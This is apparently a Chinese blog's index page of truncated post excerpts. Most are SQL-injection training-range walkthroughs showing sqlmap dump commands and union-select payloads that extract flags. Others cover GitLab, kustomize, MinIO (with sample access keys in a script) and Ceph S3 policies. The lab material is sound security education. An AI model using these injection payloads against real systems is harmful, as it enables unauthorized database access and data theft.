掌控安全 SQL 注入靶场练习 - 时间盲注 SQL 时间盲注 0x01 使用 SQLMAP 工具 0x01.1 dump database 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 --current-db 执行结果 current database: 'kanwolongxia' 0x01.2 dump tables 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia --tables 执行结果 Database: kanwolongxia [3 tables] +--------+ | user | | loflag | | news | +--------+ 3 tables: user, loflag, news 0x01.3 dump columns 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag --columns 执行结果 Database: kanwolongxia Table: loflag [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | flaglo | varchar(255) | | Id | int(11) | +--------+--------------+ 0x01.4 dump values 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag -C flaglo --dump 执行结果 Database: kanwolongxia Table: loflag [5 entries]……
阅读全文
掌控安全 SQL 注入靶场练习 - 引号括号错误注入 根据之前的经验,已经猜测出过关 Flag 的值了。 接下来两关是 引号 与 括号 的组合。 0x01 括号单引号 注意闭合 单引号 和 括号 1 2 3 4 --- 1. 注意闭合 单引号 和 括号 http://vulhub.example.com:81/Pass-03/index.php?id=1') and 1=2 union select 1,2,(select group_concat(flag) from error_flag) --+ 1 --- flags: zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K 0x02 括号双引号 注意闭合 单引号 和 括号 1 2 3 4 --- 1. 注意闭合 双引号 和 括号 http://vulhub.example.com:81/Pass-04/index.php?id=1") and 1=2 union select 1,2,(select group_concat(flag)……
阅读全文
掌控安全 SQL 注入靶场练习 Pass1 - 报错注入 靶场地址: http://vulhub.example.com:81/Pass-01/index.php?id=1 注意: 错误注入 不一定是会返回错误信息。 也指不正常显示结果, 例如此题的查询为空。 0x01 准备工具 辅助工具 google extension : hackbar 帮助快速构造语句 显示原始字符,免去 urlcode 烦恼 0x02 开始 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 -- 1. 查询数据库名 http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,2, database() --……
阅读全文
掌控安全 SQL 注入靶场练习Pass2 - 单引号报错注入 课程目标 https://hack.zkaq.cn/battle/target?id=695d4b6fe02d0bf3 注意, 误区 : 一定 不要认为 所有错误都会被反映到页面上, 程序会处理错误逻辑,并隐藏。 0x01. 判断注入点 引号探测 使用 http://vulhub.example.com:81/Pass-02/index.php?id=1' and 1=1 --+。 可以正常显示结果, 但 1=2 --+ 不行。 判断为 单引号 闭合。 错误姿势 1 2 -- 1. 语句错误, 测试了 `select 1 到 7`。 都没发现可以……
阅读全文
5 分钟Gitlab - 安装 Gitlab Gitlab 是巴啦啦啦啦一大堆。 好处很多。 选型 即使不准备付费, 也选 GitlabEE(企业版本)。 ee 版本免费授权 ee 版本默认开放 ce (社区版) 所有功能。 启用高级功能只需付费购买授权即可。 https://about.gitlab.com/install/ce-or-ee/?distro=ubuntu 准备 准备一台虚拟机, 假设为 ubuntu20.04 操作系统。 根据需要,挂载多个数据盘 默认 /var/opt/gitlab (建议独立) 数……
阅读全文
k8s 部署工具 kustomize 的实用小技巧 在 k8s 上的部署, 大多组件都默认提供 helm 方式。 在实际使用中, 常常需要针对不通环境进行差异化配置。 个人觉得, 使用 kustomize 替换在使用和管理上,比直接使用 helm 参数更为清晰 。 同时组件在一个大版本下的部署方式通常不会有太大的变化, 没有必要重新维护一套部署文档,其实也不一定有精力这……
阅读全文
学习 shell 反弹实现, 优化 Docker 基础镜像安全 天天都在说优化 Dockerfile。 到底怎么优化, 优化后的检验指标又是什么? 没有考虑清楚行动目的, 隔空放炮, 必然徒劳无功。 笔者最近准备在 CI 上增加安全检测, 在分析案例样本的时候, 找到了比较流行的 struts2 漏洞, 其中 S2-052 远程代码执行漏洞 的利用方式就是在 POST 请求中……
阅读全文
使用 sqlmap 根据变量位置定点注入 restful api sqlmap 是一款强劲自动化的 sql 注入工具, 使用 python 开发, 支持 python 2/3。 RESTful API 规则几乎是当前开发执行的默认规范。 在 restful 接口中, 常常将变量位置放置在 url 中。 例如 http://127.0.0.1:8080/{user}/profile , 其中 {user} 就是变量,根据代码实现方式,可以等价于 http://127.0.0.1:8080/profile?user={user} 。 那么, 在对这类 restful 接口进行 sql 注入的时候,又该注意什么呢? 本文将……
阅读全文
minio 使用 lego 实现 https 访问 minio 提供两种 https 访问。 推荐 在启动过程中使用 certs 证书。 此种方法最后只提供 https 访问。 使用 https 代理。 nginx proxy caddy proxy 1 2 3 4 5 6 7 8 9 10 $ tree . -L 3 . ├── certs │ ├── CAs │ ├── private.key │ └── public.crt ├── data ├── entrypoint.sh ├── minio 1 2 3 4 5 6 7 8 9 #!/bin/bash # entrypoint.sh cd $(dirname $0) DIR=$(pwd) export MINIO_ACCESS_KEY=minio export MINIO_SECRET_KEY=miniostorage ./minio --certs-dir ${DIR}/certs server ${DIR}/data troubleshoot the ECDSA curve ‘P-384’ is not supported ERROR Unable to load the……
阅读全文
使用 s3cmd 为 cephfs rgw 设置 policy cephfs rgw 模式完全兼容 aws 的 s3v4 协议。 因此对 cephfs rgw 的日常管理, 可以使用 s3cmd 命令操作。 策略 配置策略 全局读策略 1 2 3 4 5 6 7 8 9 10 # cat public-read-policy.json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "*" }] } 设置策略 1 $ s3cmd setpolicy public-read-policy.json s3://example-bucket 查看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ s3cmd info s3://example-bucket s3://example-bucket/ (bucket): Location: default Payer: BucketOwner Expiration Rule: none policy: { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "*"……
阅读全文